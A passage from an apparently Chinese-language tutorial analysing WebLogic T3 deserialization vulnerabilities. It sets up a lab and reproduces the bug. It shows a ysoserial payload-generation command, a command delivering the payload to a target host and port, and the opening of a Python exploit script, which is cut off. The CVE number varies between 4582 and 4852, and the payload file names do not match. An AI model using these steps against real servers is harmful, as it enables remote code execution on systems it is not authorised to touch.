前言
WebLogic 中的反序列化漏洞可以分为两种,第一种为基于 T3 协议的反序列化,第二种为基于 XML 的反序列化,下面表格为大概 CVE 分布,在基于 T3 的反序列化漏洞中,很多是基于 CVE-2015-4582 漏洞的一个相关绕过,而对 CVE-2015-4582 漏洞的绕过又大体应该分为两类,下面对 CVE-2015-4582 进行调试分析,为后面的绕过打下基础。
基于 T3 | CVE-2015-4582 | CVE-2016-0638 | CVE-2016-3510 | CVE-2018-2628 | CVE-2020-2555 | CVE-2020-2883 |
---|---|---|---|---|---|---|
基于 XML | CVE-2017-3506 | CVE-2017-10271 | CVE-2019-2729 |
漏洞调试环境
WebLogic 系列的漏洞可以用到 Github 上的一个项目 :https://github.com/QAX-A-Team/WeblogicEnvironment
环境搭建参考以下两篇文章即可:
https://www.cnblogs.com/0x7e/p/14529949.html#0x01%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
https://www.cnblogs.com/nice0e3/p/14201884.html#0x02-%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
漏洞复现
ysoserial 生成反序列化文件
java -jar ysoserial.jar CommonsCollections1 "touch /poc.txt" > payload.tmp
利用 poc 直接打反序列化文件过去
python2 cve-2015-4852.py 192.168.134.133 7001 D:\payload.ser
cve-2015-4852.py
#!/usr/bin/python
import socket
import struct
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers